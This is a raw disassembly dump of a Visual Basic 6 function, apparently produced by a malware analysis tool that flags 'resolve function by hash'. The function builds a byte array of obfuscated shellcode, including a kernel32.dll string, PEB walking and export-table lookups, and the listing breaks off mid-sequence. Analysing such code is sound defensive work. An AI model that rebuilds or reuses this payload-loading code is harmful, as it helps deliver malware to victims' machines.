Function at 0x414f69
Capabilities:
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x4013a6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x84
call sub.MSVBVM60.DLL___vbaChkstk
push ebx
push esi
push edi
mov dword [ebp - 0xc], esp
mov dword [ebp - 8], 0x401348
mov edx, dword [ebp + 0xc]
lea ecx, [ebp - 0x1c]
call sub.MSVBVM60.DLL___vbaStrCopy
push 6
push 0x40e298
lea eax, [ebp - 0x50]
push eax
call sub.MSVBVM60.DLL___vbaAryConstruct2
mov eax, dword [ebp - 0x44]
mov dword [eax], 0x4ee860
mov dword [eax + 4], 0x6b0000
mov eax, dword [ebp - 0x44]
mov dword [eax + 8], 0x720065
mov dword [eax + 0xc], 0x65006e
push 8
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x33006c
mov dword [ecx + eax + 4], 0x32
push 8
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x74006e
mov dword [ecx + eax + 4], 0x6c0064
push 8
pop eax
shl eax, 2
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x6c
and dword [ecx + eax + 4], 0
push 8
pop eax
imul eax, eax, 5
mov ecx, dword [ebp - 0x44]
and dword [ecx + eax], 0
and dword [ecx + eax + 4], 0
push 8
pop eax
imul eax, eax, 6
mov ecx, dword [ebp - 0x44]
and dword [ecx + eax], 0
and dword [ecx + eax + 4], 0
push 8
pop eax
imul eax, eax, 7
mov ecx, dword [ebp - 0x44]
and dword [ecx + eax], 0
and dword [ecx + eax + 4], 0
push 8
pop eax
shl eax, 3
mov ecx, dword [ebp - 0x44]
and dword [ecx + eax], 0
and dword [ecx + eax + 4], 0
push 8
pop eax
imul eax, eax, 9
mov ecx, dword [ebp - 0x44]
and dword [ecx + eax], 0
and dword [ecx + eax + 4], 0
push 8
pop eax
imul eax, eax, 0xa
mov ecx, dword [ebp - 0x44]
and dword [ecx + eax], 0
mov dword [ecx + eax + 4], 0x6afc8b5b
push 8
pop eax
imul eax, eax, 0xb
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x3bbe842
mov dword [ecx + eax + 4], 0x548b0000
push 8
pop eax
imul eax, eax, 0xc
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x11892824
mov dword [ecx + eax + 4], 0x2c24548b
mov eax, 0x5517c196
neg eax
mov ecx, 0x76fffffc
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0xd
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0xe
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xe84a6a11
mov dword [ecx + eax + 4], 0x3a1
mov eax, 0xe195c677
neg eax
mov ecx, 0x6217c395
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0xf
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
shl eax, 4
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x6a000003
mov dword [ecx + eax + 4], 0xf46822
push 8
pop eax
imul eax, eax, 0x11
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x91e80000
mov dword [ecx + eax + 4], 0x6a000003
push 8
pop eax
imul eax, eax, 0x12
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xe8246a26
mov dword [ecx + eax + 4], 0x388
push 8
pop eax
imul eax, eax, 0x13
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x406a2a6a
mov dword [ecx + eax + 4], 0x37fe8
push 8
pop eax
imul eax, eax, 0x14
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x6a2e6a00
mov dword [ecx + eax + 4], 0x376e80c
push 8
pop eax
imul eax, eax, 0x15
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x326a0000
mov dword [ecx + eax + 4], 0xc868
push 8
pop eax
imul eax, eax, 0x16
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x36ae800
mov dword [ecx + eax + 4], 0x2a6a0000
mov eax, 0xfffca318
neg eax
mov ecx, 0x38f674ff
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x17
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
mov eax, 0xffffbbff
neg eax
mov ecx, 0x17ed95ff
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x18
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x19
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x34d
mov dword [ecx + eax + 4], 0x14e85b68
push 8
pop eax
imul eax, eax, 0x1a
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x79e851cf
mov dword [ecx + eax + 4], 0x6a000003
mov eax, 0xfcc417c2
neg eax
mov ecx, 0x2e74ffff
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x1b
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x1c
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x32e81e6a
mov dword [ecx + eax + 4], 0x6a000003
push 8
pop eax
imul eax, eax, 0x1d
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xff32ff40
mov dword [ecx + eax + 4], 0x6ad0ff31
push 8
pop eax
imul eax, eax, 0x1e
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x323e812
mov dword [ecx + eax + 4], 0x5b680000
push 8
pop eax
imul eax, eax, 0x1f
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x51cf14e8
mov dword [ecx + eax + 4], 0x34fe8
push 8
pop eax
shl eax, 5
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xe81e6a00
mov dword [ecx + eax + 4], 0x311
mov eax, 0xae74f675
neg eax
mov ecx, 0x17c195c3
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x21
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
mov eax, 0xfffffcfb
neg eax
mov ecx, 0x5fcc674
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x22
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
mov eax, 0x517dd96
neg eax
mov ecx, 0x74fffffd
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x23
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x24
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xf86809
mov dword [ecx + eax + 4], 0x51570000
push 8
pop eax
imul eax, eax, 0x25
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x6ad0ff
mov dword [ecx + eax + 4], 0x2e8e8
mov eax, 0x1779800
neg eax
mov ecx, 0x17aee94c
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x26
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
mov eax, 0xfffffcec
neg eax
mov ecx, 0x2917d195
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x27
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
mov eax, 0x74fffffe
neg eax
mov ecx, 0x17d595c6
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x28
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x29
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x2cd
mov dword [ecx + eax + 4], 0x426a118b
push 8
pop eax
imul eax, eax, 0x2a
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x2c4e8
mov dword [ecx + eax + 4], 0x6a525700
push 8
pop eax
imul eax, eax, 0x2b
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x6a006a00
mov dword [ecx + eax + 4], 0x6a006a04
mov eax, 0x95ff9600
neg eax
mov ecx, 0xce00ff
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x2c
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x2d
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xe8126ad0
mov dword [ecx + eax + 4], 0x2a9
mov eax, 0xefc82f98
neg eax
mov ecx, 0x2a17ae0d
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x2e
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x2f
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x6a000002
mov dword [ecx + eax + 4], 0x297e822
mov eax, 0xee750000
neg eax
mov ecx, 0x7117d195
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x30
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x31
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x8b000002
mov dword [ecx + eax + 4], 0x3472ff09
push 8
pop eax
imul eax, eax, 0x32
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xd0ff31ff
mov dword [ecx + eax + 4], 0x7ee8006a
push 8
pop eax
imul eax, eax, 0x33
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x68000002
mov dword [ecx + eax + 4], 0x6e1a959c
push 8
pop eax
imul eax, eax, 0x34
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x2aae851
mov dword [ecx + eax + 4], 0x226a0000
mov eax, 0xfffd9318
neg eax
mov ecx, 0x74ee74ff
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x35
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x36
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xe82e6a39
mov dword [ecx + eax + 4], 0x261
push 8
pop eax
imul eax, eax, 0x37
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x406a098b
mov dword [ecx + eax + 4], 0x300068
mov eax, 0xaf8d0100
neg eax
mov ecx, 0xcb8800
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x38
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x39
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x6ad0ff31
mov dword [ecx + eax + 4], 0x247e836
push 8
pop eax
imul eax, eax, 0x3a
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xd18b0000
mov dword [ecx + eax + 4], 0x3ee8226a
mov eax, 0x74fffffe
neg eax
mov ecx, 0x17c195c6
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x3b
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x3c
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x235
mov dword [ecx + eax + 4], 0x226a318b
push 8
pop eax
imul eax, eax, 0x3d
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x22ce8
mov dword [ecx + eax + 4], 0x6a018b00
push 8
pop eax
imul eax, eax, 0x3e
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x223e82e
mov dword [ecx + eax + 4], 0x98b0000
push 8
pop eax
imul eax, eax, 0x3f
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x5477ff52
mov dword [ecx + eax + 4], 0x3470ff56
push 8
pop eax
shl eax, 6
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x6a31ff
mov dword [ecx + eax + 4], 0x210e8
mov eax, 0x955e9800
neg eax
mov ecx, 0x17ae27c2
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x41
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
mov eax, 0xfffffdc4
neg eax
mov ecx, 0xf33b7c
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x42
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x43
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xe8126ad0
mov dword [ecx + eax + 4], 0x1f9
push 8
pop eax
imul eax, eax, 0x44
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x14e85b68
mov dword [ecx + eax + 4], 0x25e851cf
push 8
pop eax
imul eax, eax, 0x45
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x6a000002
mov dword [ecx + eax + 4], 0x1e7e822
push 8
pop eax
imul eax, eax, 0x46
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x118b0000
mov dword [ecx + eax + 4], 0x6a06c283
push 8
pop eax
imul eax, eax, 0x47
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x1dbe83a
mov dword [ecx + eax + 4], 0x26a0000
mov eax, 0x2f00aeae
neg eax
mov ecx, 0x3117c995
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x48
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x49
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xc7000001
mov dword [ecx + eax + 4], 1
push 8
pop eax
imul eax, eax, 0x4a
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x28b800
mov dword [ecx + eax + 4], 0x366a0000
push 8
pop eax
imul eax, eax, 0x4b
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x1bce8
mov dword [ecx + eax + 4], 0x6a21f700
push 8
pop eax
imul eax, eax, 0x4c
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x1b3e81e
mov dword [ecx + eax + 4], 0x118b0000
push 8
pop eax
imul eax, eax, 0x4d
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x813c528b
mov dword [ecx + eax + 4], 0xf8c2
push 8
pop eax
imul eax, eax, 0x4e
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x6ad00300
mov dword [ecx + eax + 4], 0x19fe83e
mov eax, 0xeefd0000
neg eax
mov ecx, 0x6917d995
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x4f
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x50
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x6a000001
mov dword [ecx + eax + 4], 0x31ff5228
push 8
pop eax
imul eax, eax, 0x51
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x8ae8126a
mov dword [ecx + eax + 4], 0x68000001
push 8
pop eax
imul eax, eax, 0x52
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xcf14e85b
mov dword [ecx + eax + 4], 0x1b6e851
push 8
pop eax
imul eax, eax, 0x53
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xc4830000
mov dword [ecx + eax + 4], 0x6ad0ff0c
push 8
pop eax
imul eax, eax, 0x54
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x173e826
mov dword [ecx + eax + 4], 0x398b0000
mov eax, 0x8e74f675
neg eax
mov ecx, 0x17c195eb
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x55
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x56
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x165
mov dword [ecx + eax + 4], 0x266a3103
mov eax, 0xfffea318
neg eax
mov ecx, 0x74f674ff
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x57
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x58
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x226a0c51
mov dword [ecx + eax + 4], 0x150e8
push 8
pop eax
imul eax, eax, 0x59
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x3098b00
mov dword [ecx + eax + 4], 0x466a3451
push 8
pop eax
imul eax, eax, 0x5a
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x144e8
mov dword [ecx + eax + 4], 0x6ac18b00
push 8
pop eax
imul eax, eax, 0x5b
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x13be82e
mov dword [ecx + eax + 4], 0x98b0000
push 8
pop eax
imul eax, eax, 0x5c
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x1077ff50
mov dword [ecx + eax + 4], 0x31ff5256
push 8
pop eax
imul eax, eax, 0x5d
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x2ae8006a
mov dword [ecx + eax + 4], 0x68000001
push 8
pop eax
imul eax, eax, 0x5e
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xd83d6aa1
mov dword [ecx + eax + 4], 0x156e851
push 8
pop eax
imul eax, eax, 0x5f
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xc4830000
mov dword [ecx + eax + 4], 0x6ad0ff0c
push 8
pop eax
imul eax, eax, 0x60
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x113e836
mov dword [ecx + eax + 4], 0x118b0000
mov eax, 0x76fe3d7d
neg eax
mov ecx, 0x17c595ee
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x61
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
mov eax, 0xfffffefb
neg eax
mov ecx, 0x35c4f674
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x62
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x63
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xff33850f
mov dword [ecx + eax + 4], 0x326affff
mov eax, 0xffff0b18
neg eax
mov ecx, 0x38f674ff
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x64
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
mov eax, 0xfefff8ff
neg eax
mov ecx, 0x17ff95ff
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x65
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
mov eax, 0xffffff1b
neg eax
mov ecx, 0x58382d97
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x66
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x67
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x11e85168
mov dword [ecx + eax + 4], 0x6a000001
push 8
pop eax
imul eax, eax, 0x68
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xd3e832
mov dword [ecx + eax + 4], 0x118b0000
mov eax, 0x3517d196
neg eax
mov ecx, 0x74ffffff
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x69
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x6a
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x71ff5209
mov dword [ecx + eax + 4], 0x6ad0ff04
push 8
pop eax
imul eax, eax, 0x6b
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xbbe822
mov dword [ecx + eax + 4], 0x398b0000
push 8
pop eax
imul eax, eax, 0x6c
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x6a34c783
mov dword [ecx + eax + 4], 0xafe832
push 8
pop eax
imul eax, eax, 0x6d
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x318b0000
mov dword [ecx + eax + 4], 0xa4b68b
mov eax, 0x397d0000
neg eax
mov ecx, 0x17d195f7
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x6e
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x6f
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x9d
mov dword [ecx + eax + 4], 0x466a118b
push 8
pop eax
imul eax, eax, 0x70
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x94e8
mov dword [ecx + eax + 4], 0x46a5100
mov eax, 0xcd00a9a9
neg eax
mov ecx, 0x7917ff95
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x71
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
mov eax, 0x98000000
neg eax
mov ecx, 0x27c2955e
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x72
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
mov eax, 0xff4d17af
neg eax
mov ecx, 0x3b7cffff
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x73
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x74
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x6ad0ff0c
mov dword [ecx + eax + 4], 0x6fe822
push 8
pop eax
imul eax, eax, 0x75
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x98b0000
mov dword [ecx + eax + 4], 0x328518b
push 8
pop eax
imul eax, eax, 0x76
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x326a3451
mov dword [ecx + eax + 4], 0x60e8
push 8
pop eax
imul eax, eax, 0x77
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x81098b00
mov dword [ecx + eax + 4], 0xb0c1
push 8
pop eax
imul eax, eax, 0x78
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x6a118900
mov dword [ecx + eax + 4], 0x4fe800
push 8
pop eax
imul eax, eax, 0x79
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xd3680000
mov dword [ecx + eax + 4], 0x51e8a7c7
mov eax, 0xffff8418
neg eax
mov ecx, 0x17cd95ff
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x7a
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x7b
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x3d
mov dword [ecx + eax + 4], 0x2e6ad18b
mov eax, 0xffffcb18
neg eax
mov ecx, 0xf674ff
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x7c
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x7d
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x471ff32
mov dword [ecx + eax + 4], 0x6ad0ff
push 8
pop eax
imul eax, eax, 0x7e
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x24e8
mov dword [ecx + eax + 4], 0x3f886800
push 8
pop eax
imul eax, eax, 0x7f
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xe8519e4a
mov dword [ecx + eax + 4], 0x50
mov eax, 0xed17d196
neg eax
mov ecx, 0x74ffffff
adc ecx, 0
neg ecx
push 8
pop edx
shl edx, 7
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x81
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x471ff09
mov dword [ecx + eax + 4], 0x4a6ad0ff
push 8
pop eax
imul eax, eax, 0x82
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x4e8
mov dword [ecx + eax + 4], 0x61218b00
mov eax, 0xfc34743d
neg eax
mov ecx, 0x3cfbdbb3
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x83
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x84
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xf2e8006a
mov dword [ecx + eax + 4], 0x68ffffff
push 8
pop eax
imul eax, eax, 0x85
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x91afca54
mov dword [ecx + eax + 4], 0x1ee851
push 8
pop eax
imul eax, eax, 0x86
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x406a0000
mov dword [ecx + eax + 4], 0x100068
mov eax, 0xdb8b0100
neg eax
mov ecx, 0xff95e7
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x87
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
mov eax, 0xdb8b0030
neg eax
mov ecx, 0x3017eb
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x88
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
mov eax, 0xfe760001
neg eax
mov ecx, 0x3cef3b7c
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x89
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x8a
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x22e8
mov dword [ecx + eax + 4], 0x4ea46800
push 8
pop eax
imul eax, eax, 0x8b
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xe850ec0e
mov dword [ecx + eax + 4], 0x4b
mov eax, 0xf73b7d
neg eax
mov ecx, 0xfbdb8b
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x8c
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x8d
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x2474ffd0
mov dword [ecx + eax + 4], 0x38e85008
push 8
pop eax
imul eax, eax, 0x8e
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x83000000
mov dword [ecx + eax + 4], 0x55c308c4
push 8
pop eax
imul eax, eax, 0x8f
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x56535152
mov dword [ecx + eax + 4], 0x64c03357
push 8
pop eax
imul eax, eax, 0x90
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x8b30708b
mov dword [ecx + eax + 4], 0x768b0c76
mov eax, 0xf79174e4
neg eax
mov ecx, 0x74df8174
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x91
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x92
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x18473836
mov dword [ecx + eax + 4], 0x3f80f375
push 8
pop eax
imul eax, eax, 0x93
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x8007746b
mov dword [ecx + eax + 4], 0x2744b3f
push 8
pop eax
imul eax, eax, 0x94
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xc58be7eb
mov dword [ecx + eax + 4], 0x595b5e5f
push 8
pop eax
imul eax, eax, 0x95
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x55c35d5a
mov dword [ecx + eax + 4], 0x56535152
push 8
pop eax
imul eax, eax, 0x96
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x246c8b57
mov dword [ecx + eax + 4], 0x74ed851c
push 8
pop eax
imul eax, eax, 0x97
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x3c458b43
mov dword [ecx + eax + 4], 0x7828548b
push 8
pop eax
imul eax, eax, 0x98
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x4a8bd503
mov dword [ecx + eax + 4], 0x205a8b18
mov eax, 0xcf1c22fd
neg eax
mov ecx, 0x74cb74b6
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x99
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
mov eax, 0xcc0afd
neg eax
mov ecx, 0x53033fcc
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x9a
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x9b
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x774c084
mov dword [ecx + eax + 4], 0x30dcfc1
push 8
pop eax
imul eax, eax, 0x9c
